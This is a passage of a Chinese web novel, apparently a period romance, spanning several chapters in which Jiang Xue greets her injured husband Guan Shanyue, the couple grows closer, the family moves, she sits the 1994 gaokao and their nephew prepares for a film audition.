想到这里，曲兆兴连忙指使秘书道：“你快去联系一下那个人，就说我有桩生意要和他谈。” * 经过审讯，颇具勇气的老板私生子终于意识到自己闯了大祸，不仅把自己做的事交代的一清二楚，拔出萝卜带出泥，顺便供出了在背后教唆他的人，正是先前从安泰低价挖走客户的保平安。 关山越人还在火车上，这桩称得上离谱又荒唐的案子就先迎来了大结局。保平安的老板收到消息后没来得及逃走便被警方逮捕，整个公司土崩瓦解，鸟作群散，还登上了海市的报纸头条，占据了好大一个篇幅。 一连几天，打去安泰咨询业务的电话激增，除了受这件事影响外，还有震惊全国的港商绑架案。 自从深市作为特区开放，来往两地的人与日俱增，这起绑架案的发生，原本是会造成一定的负面影响，毕竟谁都不想做个生意反倒把命给丢了。 结果深市警方火速破案，不仅将绑匪一网打尽，还在二十四小时内将人质平安无事的救了出来。 由此可见，深市和深市警方，都十分值得信赖。 当然，报道中也提及了热心市民关先生。还有曲兆兴，同样在报纸上发了自己的感谢信，感谢深市警方和安泰公司的鼎力帮忙。 这次不用江雪提醒，董志勇就美滋滋的买了好几份报纸回来，和之前的报道放在一起，做成公司的宣传册。 险些被劫的三车货已经平安运抵海市，负责护送的一行人也跟着返回，只有关山越因为要做两起案子的笔录耽搁了时间，自己买了火车票回来。 坐上火车前，关山越打电话回来，说了火车到站的时间。 火车在中午抵达，一大早，关嘉言便问了江雪许多次，“舅舅今天会回来吗？” 天气渐冷，江雪买了儿童专用的面霜给他涂，关嘉言撅起嘴，不情不愿的闭上眼，让舅妈把自己抹的香喷喷。 江雪好笑的捏了捏他的鼻子，“对，舅舅今天就回来了。”她都不知道，原来关嘉言这小子跟他舅舅有个一模一样的臭脾气，不喜欢往脸上涂东西，嫌弃太香了。 “把手伸出来。” 关嘉言老老实实的伸出手，江雪挖出面霜放在他掌心，“自己抹抹匀。” 唉，他整个人都要变得香喷喷了。 到了学校门口，关嘉言又问了一遍，“舅舅今天真的会回来吗？” 江雪摸摸他的头，尽管他们谁都没有告诉关嘉言发生了什么事，可突然从家里离开住进宾馆，以及大人们紧张的情绪还是影响到了他。 “对，今天下午，舅妈和舅舅一起来接你好不好？” “好！”关嘉言脸上绽放出笑容。 把关嘉言送去上学后，江雪也照常去了成人高中，心平气和的上完课，下课时间一到，立马抓起书包准备走人。 “哎，江雪。”一个平日关系不错的女生叫住她，“我们打算去街上逛逛，要不要一起？” 另一个女生道：“听说百货大楼那边上了新款，我想去买件冬装。” 摇摇头，江雪拒绝道：“你们去吧，我中午要去车站接人。” “接人？谁啊？” 江雪不好意思的抿了抿唇，“是我爱人。” “爱人？” “你结婚了？” 两道声音一前一后，教室里其他没走的人也纷纷看了过来。 “对。”江雪背上包，朝两人挥挥手，“我先走了，回见。” 等她走出教室，其他人才三三两两的议论起来。 毕竟江雪在他们当中称得上是异类，读书认真刻苦不说，听说还要参加普通高考。他们当中好歹有人已经读了两三年，也只敢去参加成人高考。江雪只读一年，就敢去跟那些正儿八经读了三年高中的人参加同一场考试。 有人问，江雪就不在意的笑一笑，说：“考不上就考不上，先考了再说，大不了再去参加成人高考嘛。” 说来也怪，被她这么一说，大家反而觉得高考确实没什么大不了的，就像江雪说的，考不上再说考不上的事嘛。一时间，班里刻苦读书的人都多了好几个，连老师都被他们带动起来，课上的一天比一天起劲。 只不过江雪从来都是独来独往，每天按时上下学，从来没听她说起过自己家里人。加上江雪才二十岁出头，比班上的其他人都小，大家就默认她还没结婚。 议论几句后也就散了，最开始叫江雪去逛街的女生叹了口气，压低声音道：“还好我还没来得及说，不然就要尴尬死了。” 另一个女生偷笑，“那你快去跟你表哥说吧，名花有主，叫他别惦记了。”—— 作者有话说：不好意思啊各位宝宝，今天遇到点儿小事，欠的一章明天补上[可怜] 第三十五章 kiss kiss 来往火车站的人大都拎着大包小包的行李, 尽管秋风萧瑟，往周遭的空气中平添了几分肃杀，可大多数人脸上都洋溢着对新生活的向往, 尤其是那些千里迢迢奔赴海市打工的人, 质朴的脸上还带着几分对海市的好奇。 不管未来如何，至少这一刻的开心是真实的。 看着看着, 江雪的心情也莫名好了起来，并且闻到了一股香香甜甜的味道。 鼻尖轻嗅，江雪看到了摆在街边的烤红薯摊子。不是她上辈子在街上常见的自动旋转的电烤炉, 而是用泥胚做成的圆筒状的泥炉, 四周裹着破棉被, 用麻绳扎紧, 最上头的口子用一个锅盖形状的铁盖子盖着。 天气还没有冷到烤红薯暖手的地步, 不过既然遇上, 岂有不吃的道理。 江雪走上前询问价钱。 “有白瓤, 有红瓤。”卖烤红薯的老大爷从炉子里掏出来两个给江雪看。 江雪只吃过那种烤的流蜜的蜜薯, 要用勺子挖着吃。见她犹豫, 老大爷说：“白瓤的甜。” 江雪做出决定, “那就白瓤的吧。” 热烘烘的烤红薯剥开皮, 香味便混着热气涌进鼻腔，一口咬下去，又面又甜, 江雪心满意足的吃了一大口。 好吃好吃, 回头给关嘉言也买一个。 又是一趟列车抵达, 这时候来火车站接人，除了眼神好之外别无他法。 江雪吃着红薯上下左右看了一圈，没看到人, 不由得暗暗皱眉。 火车晚点这么长时间吗？ 殊不知关山越此刻已经绕到了她身后。 多年来形成的习惯，让关山越从出站口一出来，就看到了不远处的江雪。 高高瘦瘦的一个人，穿着大衣和牛仔裤，大衣在腰处做了条半掌宽的系带，松松垮垮的挽了个结，显得本就羸弱的腰身更细。头发同样挽起，用江雪自己的话说，叫丸子头。 见江雪仍旧没有发现他，关山越走近几步。 又近了几步。 再…… 侦察和反侦察能力都为零。 关山越清了清嗓子，“咳咳。” 江雪惊喜的转身回头，“关……” 江雪总是言言、言言的叫关嘉言，叫他却总是连名带姓的喊，并且每次都中气十足。董志勇有次不慎听到，背地里偷偷问他是不是惹江雪生气了。在他家，刘文月只有要发火的时候才会这么喊他，每当这个时候，董志勇就知道自己要倒大霉了。 然而江雪却止住了声音，惊喜的目光落在他脸上，渐渐转为震惊，片刻，又涌上些许心疼。 “怎么搞的啊。”江雪缓缓开口，半嗔半怨，“走的时候，不是好好的嘛？” 全须全尾的，怎么回来几天变成这样了。光是她看到的，脸上有伤，手上缠着绑带，衣服底下还不知道是什么样。 然而关山越自己并不怎么在意，“没什么要紧的，就是磕磕碰碰，过几天就好了。” 江雪深吸了口气，感觉刚才吃的烤红薯也没那么甜了。反而噎的她心里闷闷的，她看了看天，又瞅了瞅地，鼻腔莫名浮出一股子酸意。 “你……”江雪缓了缓说：“你不是说自己很厉害，不会受伤吗？” 知不知道你这条命还是我救回来的！ 关山越不知道自己什么时候说过这句话，可江雪说他说过，他就只能说过，“下次不会了。” 江雪眼前却渐渐蒙了层水雾。 她背过身，然而这滴泪并非全无缘由，而是积攒了很久很久，从她突然因为一场车祸来到三十多年前开始。 面对全然陌生的环境时她没有哭，被迫寄人篱下，吃不饱睡不好时她也没有哭，被极品亲戚逼迫嫁人的时候她依旧撑了下来，甚至在火车上还自告奋勇的去跟人贩子周璇。 可当她突然接到关山越遇险的消息，才猛然意识到，在这个意外的时空中，竟然有人与她慢慢的缔结下如此深厚的感情。 关山越是她在这里的亲人，无关血缘，而是她自己选择的亲人。 也是，唯二的亲人了。 泪越下越多，江雪自暴自弃，索性转过身把脸埋进关山越怀里，闷声闷气道：“都怪你。” 关山越：“……” 他略显僵硬的抬起手，在江雪后背轻轻拍了两下，“嗯，都怪我。” 接触到的肌肉瞬间绷紧，仿佛整个人都紧张起来，江雪破涕为笑，正要嘲笑他两句，忽然明白过来一件事。 他们还在人来人往的火车站呢！ 江雪立马就站直了，眼珠子往左右两边扫了扫，犹犹豫豫的问：“我们这样子，不算耍流氓吧？” 说这话时，因为紧张，江雪不自觉的用牙齿咬了下唇，关山越的目光从她因为泪水而变得湿漉漉的眼睫上移开，落在那处被碾过的嫣红上，声音低了几分，“不算。” 他们是合法夫妻，怎么样都不算耍流氓。 江雪是骑自行车来的，停在外面的车位上，有人看着，只要花五毛钱就能领一对木牌，一只拴在车上，一只自己拿着，两只木牌放到一起还给看车的人才能把车骑走。 关山越深深运气，一息过，才抬脚追上江雪。 * 关嘉言第一次如此期待放学，放学铃刚刚打响，他就迫不及待的背上了书包。 排队走到门口，关嘉言一眼就看到了舅舅和舅妈，舅舅长得比其他人都高。 “老师，我舅舅舅妈来接我了。” 老师也看到了江雪，班里学生的家长她都记住了长相，要是不认识的人来接，他们就不会让学生出去。 “老师再见！” 得到准许的关嘉言欢天喜地的扑了出去，一头扑进了关山越怀里，“舅舅！” 关嘉言不胖，但个子在同龄人里算高的，就这么直愣愣的冲过来，跟个沉甸甸的保龄球一样，偏偏他自己意识不到，有次把江雪扑的连退三步，差点儿一屁股坐在地上后，他才知道江雪接不住他，往后再扑，就只扑关山越了。 舅舅长得高，力气大。 江雪都忘了他还有这个习惯，一时没拦住，等他抬手要关山越抱时，才说：“舅舅受伤了，以后再抱言言，好不好？” 舅舅受伤了？ 是像电视里演的那样吗？ 关嘉言立马瞪大双眼，紧张的问：“舅舅痛不痛？” “不痛。”关山越摸了摸他的脑袋。 关嘉言松了口气，这才一左一右的牵起江雪和关山越的手。 回去的路上，江雪给关嘉言买了烤红薯，“只能吃半个，不然晚饭就要吃不下了。” 关嘉言吃完红薯就去写作业了，只有写完作业，他才能在吃过饭后看电视。舅妈还说，要是他的作业全是优，就带他去看电影。 看电影！ 关嘉言期待极了，暑假的时候他已经看过一次电影，知道什么是电影。电视上播放的动画品只有十几分钟，但是电影能看好久好久，还有好多人一起看，电影还比电视大，大好多。 关嘉言一笔一划的埋头苦写。 厨房里，江雪眼睁睁看着关山越穿上围裙打算做饭，“其实我做饭也没有很难吃。” 虽然说只要关山越在家就默认他做饭，可再怎么说，也没有叫伤员干活的道理。 “要不还是我来吧。” 论干活，江雪是抢不过关山越的，她往前一步，关山越揽着她的腰，单手就能把她再抱出来，一来二去，气的江雪狠狠咬唇，“你这人怎么这样？” 粉色的唇再次被碾红，关山越不由得想起中午在火车站时的情形，只不过那时候是在外面。 现在，是在家里。 喉结上下滚动，关山越眸色加深，揽着江雪腰身的手臂本该放离，此刻却收紧了一些，“什么样？” 客厅的灯光浅浅透进来，隔着带花纹的玻璃窗，并不能看清里面发生了什么。而狭小密闭的空间将暧昧放大，两个人又贴的极近，江雪意识到了什么，抬头与他对视。 “你……” 关山越低头，呼吸深深浅浅的落下，轻轻在江雪唇上碰了碰，一触即离。 江雪：“……” 呵，还是单纯。 江雪想着，抬手勾住关山越的脖颈，叫他重新低下头来，自己垫脚吻上去，舌尖微勾—— 作者有话说：[害羞] 第三十六章 他再也不要最喜欢舅舅了！…… 小小的关嘉言最近有大大的烦恼。 他发现舅舅和舅妈最近总是趁他不注意偷偷躲起来, 藏在他不知道的地方。后来有一次，他看到舅妈的嘴唇变得红红的，就好奇的问舅妈是不是在和舅舅在吃好吃的。 舅妈问他好吃的是什么, 关嘉言就说了自己最喜欢吃的一样东西, 是一种香香辣辣的干脆面。等到第二天，关嘉言就看到家里多了整整一箱干脆面。舅妈告诉他, 一天最多只能吃一袋。 等到干脆面全都吃完，关嘉言才想起来，舅妈还是没有告诉他, 她和舅舅偷偷吃了什么好的吃。 下课了, 乔雨薇从前排跑过来叫他, “言言, 快来帮我们撑皮筋。” 关嘉言和乔雨薇只做了一个星期的同桌, 因为老师发现他俩上课的时候总是偷偷说小话, 所以就把他们一前一后的分开了。 教学楼一共四层, 一年级在一层, 从教室出去就是大广场。每到下课, 大家就都会开开心心的从教室里跑出去, 到大广场上玩。有人丢沙包, 有人跳格子，还有人对蹲在地上抓石子。 女生最喜欢玩跳皮筋，长长的皮筋要两个人才能撑起来, 但大家都不喜欢撑皮筋, 乔雨薇就叫关嘉言来帮她们。作为回报, 体育课的时候，她们就要陪关嘉言演戏。 关嘉言很喜欢演戏，他模仿电视里的人说话走路, 把老师都逗笑了。老师说，要是电视台再来选小演员，就推荐关嘉言去。 可惜关嘉言期待了很久，电视台也没有来。 关嘉言的忧愁持续到了中午，吃午饭的时候，乔雨薇端着饭盒坐在他旁边，长长的叹了口气，“言言，为什么大人们总是吵架呢？” 乔雨薇用筷子戳米饭，“我妈妈和爸爸吵架，妈妈最近一直和我睡在一个房间里，都不理爸爸。唉！” 正在大口吃饭的关嘉言愣住了，他风马牛不相及的问：“你妈妈和爸爸，住在一个房间里吗？” 乔雨薇奇怪的看了他一眼，“妈妈和爸爸当然要住在一起，大人们都是这样，只有小孩子才要自己一个房间。” 关嘉言呆住了，他没有爸爸妈妈，只有舅舅和舅妈，可是舅舅和舅妈从不住在一起！ 小小的关嘉言再次陷入了沉思？ 然而小孩子的烦恼来得快去的也快，乔雨薇戳着米饭，很快又想起来另外一件要紧事，下午要上体育课，她不想演公主，她要演皇上！ * 乔亚楠和丈夫吵架的理由很简单——买房。 这半年多以来，服装厂的效益一天比一天好，生产线都加到了三条。尽管还是有很多厂子偷偷学做他们的衣服，可每次都赶不上他们出新款的速度。 生意好，乔亚楠就想把现在住的房子换了。他们一家五口，挤在两室的房子里，乔雨薇的小房子还是用帘子隔出来的。原本她妈要乔雨薇跟爷爷奶奶住一个房间，乔亚楠不同意。 现在她打算买个大三室，面积越大越好。 可回家一说，她爸妈没发表什么意见，反倒是她老公第一个反对。 乔亚楠老公不同意买房的原因也很简单，他觉得房价太贵了。现在要买房，只能买商品房，商品房一平米就敢要一两千，别说一下子买下一整套房，光是首付就够他几年不吃不喝。现在的房子又不是不能住，乔雨薇年纪还小，等她上了初中，再说买房的事也不迟。 乔亚楠打电话给江雪就是说这件事的，倒不是为了诉苦，就是想找人说说话，至于到底要不要买房，乔亚楠从一开始就做好了决定。 乔亚楠依旧是那副女强人的口气，“又不是花他的钱，他着什么急啦。我想买就买，我不光要买这一套，我还要三套五套的买。” 江雪笑了，“房子是不动产，买来也是可以投资的。” “就是这个意思。”乔亚楠把江雪引为知音，“等我先去看房子，挑几套好的，回头你来给我把把关。” 挂断电话，江雪看了看手下的书，又看了看蜗居的小房子，自胸口吐出一口气来。 房子，她也想买房子。 海市的房子，别说房价一两千，就算翻个倍，买来也是值的。更何况，现在海市的户口还没有以后那么难拿，要是能有一套海市的房子，说不定未来就有机会把户口迁到海市来。 尤其是关嘉言，现在小学还能交择校费，等以后读初中、高中，总不能叫他回原籍上学。 所以海市的房子，还是越早买越好。 等到关山越回来后，江雪便同他说起这件事。 自深市回来后，关山越养伤养了半个月，期间也没闲着。 先是各大报纸争相报道的绑架案给安泰带来不少业务，但安泰也不是什么业务都接。有的人摆明了要请他们去做打手，那肯定是不行的。 不久后，被关山越从绑匪手里救下来的港商曲兆兴亲自来了趟海市。 不知道是出于对救命恩人的感激，还是确实看好安泰的市场和发展前景，临走之前，曲兆兴和安泰之间达成了一份长达五年的协议。关山越又去了趟京市，回来后安泰的规模再度扩大，每个月到手的收入也翻了倍。 听江雪提起在海市买房的事，关山越没怎么犹豫就答应了，“第一套房子先落在关嘉言名下，明年说不定会有新政策下来，先把他的户口落实。” 江雪闻言挑眉，“什么新政策？” 关山越没说，转而提起另外一件事，“买完房子还要等装修，来来回回最起码半年的时间，我们先搬到另一个地方去住。” 去年来的时候便说好只付了一年的房租，江雪本以为他们会续租，毕竟房租不贵，左邻右舍也相处的不错。 然而关山越想的是安全问题，老公房人多且杂，离关嘉言和江雪上学的地方又远。以前是条件不允许，既然现在一切向好，也该换个好一点儿的地方住。 * 元旦前一天，关山越找来一辆运输用的小货车搬家。 唯一要搬走的大物件就是江雪的缝纫机，新租的房子离红星小学不远，走路二十来分钟就能到。 和之前需要从客厅拉帘子才能隔出一间卧室不同，新房子是标准的两室一厅一厨一卫，并且该有的电子产品都有，除了彩色电视、洗衣机、电风扇，还有空调和冰箱。 房间是早就打扫好的，把各项东西归置好后就能入住。 接下来就是房间的分配，江雪看了眼关山越，清咳了一声，示意他说话。 “舅舅。”新家在三楼，没有电梯，刚刚其他人搬东西的时候，关嘉言也没闲着，跟着楼上楼下的跑，活力无限，这会儿终于觉得累了，喘着气说：“我可以自己睡一个房间吗？” “可以。”关山越从善如流的答应了，甚至直接牵着他的手带他走到其中一个卧室，“这个房间就是你的。” 房间里有床，有衣柜，靠窗的位置还有书桌，上面现在只放了盏台灯。 自己的要求被立刻满足，关嘉言开心的跳起来，一把抱住了关山越，“舅舅最好了！言言最喜欢舅舅了！” 殊不知关山越也悄悄松了口气。 关嘉言属兔，江雪本打算给他买一个等身的兔子玩偶，让他晚上抱着睡。但找遍各大商场都没找到合适的，索性买了布料和棉花回来，自己做了一个出来。 关嘉言果然爱不释手，当天晚上便抱着兔子玩偶跳上床，甚至不用江雪讲故事哄睡，自己就乖乖闭上了眼。 “舅妈，我要睡觉了，你快出去吧。” “小白眼狼。”江雪哭笑不得，替他盖好被子，关了灯出去。又过了一会儿，确定他睡着后，才放心去休息。 第二天是元旦，不上课，也不上班。 关嘉言一觉睡到大天亮，兔子玩偶被他挤到了床脚，差一点点就要掉下去，关嘉言伸手急忙把它拽回来。 外面静悄悄的，听不到一点儿声音。舅妈总是比他起得早，以前他快要睡醒的时候，总能听到舅妈轻轻的叫他起床。 关嘉言睁着眼躺在床上等了一会儿，没听到舅妈的声音，便自己坐起身，拿起旁边的衣服往身上套。 他现在穿衣服已经很熟练了，还会自己系鞋带，都不用别人帮忙。 穿好衣服，关嘉言打开门出去。 客厅里空荡荡的，舅舅和舅妈都不在。关嘉言想了想，又回到房间，把兔子玩偶拖了出来，放到客厅沙发上乖乖坐好，然后自己去洗手间洗脸刷牙。 等他从洗手间出来，兔子玩偶身边就多了个人。 “舅舅！”关嘉言开开心心的跑过去，“舅妈呢？” 关山越拎着他往厨房走，“想吃什么？” 关嘉言想吃干脆面，但最后舅舅只是给他冲了杯高乐高，又从柜子里拿出饼干给他吃。 关嘉言不是很满意，但高乐高也很好喝，所以他还是一口气喝完了，还吃了好几块饼干。 “舅舅，”关嘉言追着问，“舅妈呢？” 关山越又把他拎到了书桌前，“作业是什么？写完了吗？” “……” 关嘉言生气的鼓起脸颊。 他再也不要最喜欢舅舅了！—— 作者有话说：咳[害羞] 第三十七章 去关嘉言房间打地铺 生物钟的本能迫使江雪短暂清醒了一会儿, 让她想起家里还有位学龄初期儿童。一巴掌把揽着自己的人拍醒，又在被子里踹了他一脚，虽然没能一脚把人踹下床, 但也解了气。 嗓子渴的厉害, 江雪懒得说话，翻了个身继续睡。 身侧很快空了一块儿, 关山越自觉起床去看孩子。门开了又关，片刻后，一杯温水放在了床头。 江雪实在懒得动, 连眼都不想睁开, 然而下一秒, 就感受到一只手在自己脸上轻轻摩挲了两下。 江雪：“……” 这只手几个小时前还握在她腰上。 江雪默默往下蹭了蹭, 把脸埋进了被子里。 一觉睡到中午, 再睁开眼时已经是天光大亮。陌生的房间布置令江雪愣怔了好一会儿, 思绪缓缓回笼, 先是听到关嘉言在外面叽叽喳喳的说话。 “舅舅, 舅妈怎么还不起床啊？” 小孩子有时候是意识不到自己声音有多大的。江雪没听到关山越说话, 但猜测他应该对关嘉言说了什么, 因为关嘉言音量骤减, 听不清了。 紧接着，江雪便闻到一股隐隐约约的饭香，从味道中不难分辨, 都是她喜欢吃的菜。 馋虫被勾起, 江雪才觉得腹内空空, 早已饿的前胸贴后背。 正要掀开被子起床，忽然听到关嘉言在外面大喊，“耶, 我去叫舅妈吃饭！” 吓得江雪浑身一抖，连忙在床上躺好，用被子把自己裹得严严实实。 好在下一秒，推门进来的是关山越。 对上江雪瞪大的一双眼，关山越先是一愣，但动作没停，反手关上了门，“醒了？” 江雪没好气的朝他翻了个白眼，坐起身道：“把衣服给我递过来。” 一张嘴才知道自己嗓子哑的厉害，江雪赶紧端起床头的杯子灌了一大口水，本以为水已经凉了，入口才发现还是温的。 她抬起眼，从杯沿看向正在给她找衣服的关山越，不轻不重的哼了声，以示满意。 关山越绷紧的脊背霎时放松许多，但没全完放松。 看了眼他找出来的衣服，江雪皱眉，索性自己伸出胳膊指了指，“拿那件，高领毛衣。” 关山越的视线落在伸出来的手腕上，细骨伶仃，偏偏腕骨处青了一块，像是人的指痕。视线一寸寸上移，斑驳的红痕自肩颈往下，掩入被子里，看不见了。 江雪嗖得的一下收回手，似笑非笑的喊了他一声，“关山越。” 关山越抬起眼，眼底暗色涌动，像是裹挟着火焰一般从她身上灼烧而过。 简直毫无反省之心，江雪轻呵，冷冷道：“今天……这周，你去关嘉言房间打地铺。” 关山越：“……” 关山越不敢接话，低眉顺眼的按照江雪的要求把衣服找出来，再一件一件放到她手边，用行动祈求原谅。 江雪穿戴整齐出去的时候，三菜一汤已经摆上桌，连碗筷都整整齐齐放好。 新房子有餐桌，比之前挤在茶几上吃饭要好不少。 关嘉言一看到她眼睛就亮了，大声道：“舅妈，你今天睡懒觉！” 江雪承认错误，“睡懒觉不好，舅妈下次改正。”说着，狠狠踩了旁边的关山越一脚。 关山越吃痛，赶紧咳了一声，拉开凳子道：“先吃饭吧。” 元旦假期只有一天，恰好红星小学已经开始施行单双休轮流，这周是双休，因此加上周六周日，刚好能凑个三天小长假出来。 江雪问关嘉言想去哪里玩。 放在三十年后，三天小长假都够她出省玩一趟了。 关嘉言故作苦恼的皱起小脸，江雪一看他的表情，就知道他想去哪儿，笑道：“去把你的作业拿来给我看看。” 关嘉言立马去了，拿回来后还不忘给自己邀功，“舅妈，我今天上午都已经把老师留的作业写完了，你快看看我写的对不对。” 看来上午让关山越带孩子，别的什么都没做，就盯着关嘉言写作业了。 江雪正检查作业，沙发忽的一陷，身旁坐了个人，还离她极近，几乎要把她拢进怀里。 “……”江雪看了眼旁边极大的空位，“挤我干嘛？” 关山越给自己找了个充足的借口，“我也看看关嘉言的作业写的怎么样。” 江雪：“……不是你辅导的吗？” “咳咳。”关山越故作镇定，“我再看看。” 江雪屈起手指往他膝上轻轻一敲，提醒他别太过分，转头对关嘉言道：“去看看你文具盒里有什么。” 文具盒？ 关嘉言跑进房间，不多时，就听到他又惊又喜的“哇”了一声，随即捧着文具盒小跑出来，“是电影票！” “舅妈最好了！”关嘉言夸人的话都不带变的，“言言最喜欢舅妈了！” * 过了元旦，除了年味越来越重之外，随之而来的还有考试的氛围。 很快，关嘉言就迎来学海生涯中的第一场考试——小学一年级上学期期末考试。 早上吃饭时，江雪特意让关山越煎了根火腿肠，煮了个鸡蛋对半切开，在盘子里摆出个“100”的字样。 关山越：“……真的有用吗？” “当然没用。”江雪认真摆盘，“博个好彩头而已，等上了初中，一门主课120分呢。” 关山越：“……” 年仅六岁的关嘉言还不知道考试，尤其是期末考试的重要性，背着书包进校门前，还在高高兴兴的对江雪说：“舅妈，老师说今天考完试就能放学，别忘了早点儿来接我。” “知道了。”江雪今天也要去成人高中参加考试，“记住只有舅舅或者舅妈来了，你才能从学校里出来。” “记住了！” 不算漫长的一学期读完，距离高考越来越近，而江雪的学习计划也翻开了新的一页。 海市高考单独命题，其余大部分省份用的都是全国卷。江雪托人找来了不少历年的全国卷真题，自己在家模拟考，考完后改卷算出总分，对自己的水平大概有了了解。 比上辈子稍好一点儿。 然而这时候高考的难度不在于试卷，而在于极低的录取率，是真真正正的千军万马过独木桥，一分之差犹如天堑。 想到这里，江雪叹了口气。 她要考，只能考海市的大学，一圈看下来，只有国立纺织大学的服装设计专业最合适。这个名字江雪并不熟悉，去实地考察后才知道，原来这所学校未来会改名，并且会被评为211。 上辈子都没能考上的211，难道这辈子能考上吗？ 江雪很是忧心，并怀疑自己患上了考前综合征—— 作者有话说：[害羞] 第三十八章 言言顶流第一步 四月下旬, 江雪前往省会参加考试，拿到了高中同等学力证明后，顺利以社会考生的身份报考了1994年的夏季高考, 并在正式考试之前填报志愿。 和后来的六月高考不同, 1994年的高考安排在七月。 正值夏季，烈阳高照, 考场的教室里只有三四个吊扇在头顶吱扭吱扭的转，不一会儿就热的人汗流浃背。不过凡是坐在考场里的人，也不会在乎这点儿热。 考试前的紧张反而在考试时消失的一干二净, 等到几场考试结束, 走出考场大门, 江雪狠狠松了口气。 还好上辈子读大学时她没摆烂, 努力过了英语四六级, 毕业后又随大流考公。所以除了数学不太行以外, 另外几门都算得上超长发挥。 尽人事听天命, 人事已尽, 剩下的就是听天命了。 * 回到海市后, 江雪一连买了好几天的报纸, 关山越还以为她是在查高考结果, 也跟着买了几份。 关山越没参加过高考，跟公司里新招聘的大学生打听后才知道高考录取分数线会在报纸上公布，还有查分电话, 等到高考出分的那天, 要发动全家人一起打电话, 光靠一个人打是怎么都打不通的。 关山越一一记在心里，现在紧张的人变成了他。 然而江雪等的却不是高考成绩，而是另外一件事。 ——电影《山外山》的演员海选。 《山外山》讲述了一个生活在贫困地区的年轻人, 在感受到新时代到来的春风时，鼓起勇气背井离乡，凭借自己的努力在大城市崭露头角后，又回到家乡，帮助家乡摆脱贫困的故事。 这部电影在筹备之初并没有多大的名气，但上映之后的反响还算不错，之后还有人以电影为蓝本拍摄了一部同名电视剧。 而这部电影之所以在三十年后依旧令人津津乐道，其中一个原因便是这是顶流姜衡的出道作品。年仅七岁的姜恒在电影中饰演男主小时候，出场镜头不多，却很出彩。后来粉丝们做作品锦集，放在第一个的就是电影《山外山》。 江雪把印有海选通知的报纸拿给关嘉言看，“言言，来看看这个。” 关嘉言正在写暑假作业，期末考试他考了双百分，比乔雨薇多一分，乔雨薇就和他打赌，说等上了二年级，一定会比他考的分数更高。 关嘉言才不信她的话，最高分就是一百分，只要他一直考双百分，乔雨薇怎么都不会比他的分数更高。为了不让乔雨薇超过自己，关嘉言学习的劲头更足了。 一听江雪叫他，关嘉言立马从房间里跑出来了，“舅妈，叫我做什么？” 江雪拍拍沙发，“来这里坐。” 关嘉言亲亲热热的挨着舅妈坐下，低头去看江雪手上的报纸，“电景……嗯……山……” 报纸上的字密密麻麻，一个挨一个，本来看着就费劲，关嘉言又才上完一年级，认识的字有限，遇上没见过的字，要么直接跳过去，要么读半边。 江雪听的哭笑不得，“坐好，舅妈念给你听。” 原本江雪还在犹豫，是否要让关嘉言像上辈子一样参演《山外山》。关嘉言在表演上无疑是有天赋的，他既不是体验派也不是学院派，而是天生就会演戏，所有和他合作过的导演、编剧、对手演员，都对他赞赏有加。 就连他自己，也曾在采访中表示自己很喜欢表演，假如要他自己选，他依旧会选择这个职业。 但已经开始拥有幸福快乐童年的关嘉言用实际行动打破了江雪的顾虑。 听江雪念完，关嘉言惊讶的张开嘴，“舅妈，我终于可以上电视了吗？” 自从听老师说电视台会去学校挑选小演员后，关嘉言认真期待了好久，后来一直等不到，就让江雪给电视台打电话，问他们时候才会去学校，他都要等不及了。 江雪把报纸放到他手上，“不是上电视，是演电影。” 关嘉言秒变星星眼，捧着报纸翻来覆去的看，“真的吗？我可以演电影了？”又从沙发上跳下来，“舅妈，我可以给薇薇打电话吗？” 他要演电影了，告诉乔雨薇，她一定羡慕的不得了！ * 《山外山》演员海选定在京市，当下交通不便，为了避免有人白跑一趟，要先把个人信息寄过去，留下联系方式，剧组看过后觉得合适，再通知他们去试镜。 第二天，江雪带关嘉言去照相馆拍了几张近照，连同之前的照片放在一起，又让关嘉言自己写了一封自我介绍信，装进信封，按照报纸上的地址寄了出去。 看着信被寄走，关嘉言重新期待起来，“舅妈，我们什么时候能去试镜啊？” 试镜这个词还是江雪教他的。 江雪说：“你想想，想演电影的人有那么多，可角色只有一个，那该怎么办呢？所以只有通过试镜，被选上的能才能演电影” 就像大家都想演公主，可是公主只有一个，一个人演了其他人就不能演，所以在学校里，大家经常会因为谁演公主吵起来。乔雨薇声音大，又仗着和他关系好，每次都先选角色。 关嘉言写了会儿作业，又忍不住跑出来问：“舅妈，要怎么样才能被选上啊？” “首先，要先写完作业。”江雪伸出一根手指。 关嘉言嘟嘴，他已经不是幼儿园的小朋友了，舅妈是骗不了他的，但舅妈的话不能不停，所以关嘉言只能叹了口气，“好吧。”作业是一定要写的，不能让乔雨薇趁机超过他。 信寄出去一周后，剧组的电话终于打了回来，通知他们首选通过，可以去参加试镜。 江雪把这个好消息告诉给关嘉言后，便开始着手收拾行李。等到关山越在公司上完一天班回来，就发现自己老婆孩子的行李整整齐齐放在门口，并且还买好了第二天去京市的火车票。 “你还要赚钱养家的嘛。”江雪拍拍他的肩，“好好上班。” “京市？”关山越脱下外套，挂在门口的衣架上，“去几天？” 江雪暗自盘算了一下，她买的是从海市到京市的直达特快列车，只需要十七八个小时，也就是傍晚乘车，在车上睡一觉，第二天一早就能到京市。再加上去剧组试镜，三天时间足够。 于是她伸出三根手指，“三天。” “三天啊……”关山越幽幽的叹了口气，“行吧，你们去吧。”留他自己一个人在家就好。 江雪白了他一眼，“少来，之前你出差，哪次不是三五天、七八天？”现在跑到她面前卖惨？没门！ 关山越：“……” 关山越卖惨失败，被江雪赶去厨房做饭。 得知自己马上要去京市试镜的关嘉言明显兴奋过头了，等吃过晚饭歇了一会儿后，江雪叫关山越带他下去跑两圈，跑完了再回来睡觉。 消耗完过剩的精力，关嘉言果然老实了许多，洗完澡擦头发的时候就开始打瞌睡，擦干头发后躺在床上没一会儿就睡着了。 天热，房间里开着空调，江雪替他盖好肚子，放下床帐后打开门出去。 恰逢关山越擦着头发从洗手间出来，身上穿着江雪给他做的夏季睡衣，丝绸材质的灰蓝色布料，穿在身上凉凉的，就是材质略滑了些，上面几颗扣子没有扣好，露出大半风光。 江雪从他身边经过，抬手向上，指尖从胸前划过，又在他下巴上勾了一下，没等关山越反应过来，便错开身，推开洗手间的门走了进去。 关山越愣了下，脚尖不由自主的调转，原路返回—— 作者有话说：[害羞] 第三十九章 言言试镜1 第二天下午, 江雪带着关嘉言出门。 拢共只有三天，带的行李不多，江雪就没叫关山越送他们, 打算去街上叫辆出租车。 谁知一下楼, 就看到关山越的车停在路边，驾驶座的车门打开, 人刚从上面下来。 车是开春时买的，和董志勇之前那辆倒了几手的旧车不同，这是辆新车。 日头还在天上挂着, 远不到下班时间, 江雪疑惑道：“你怎么回来了？” 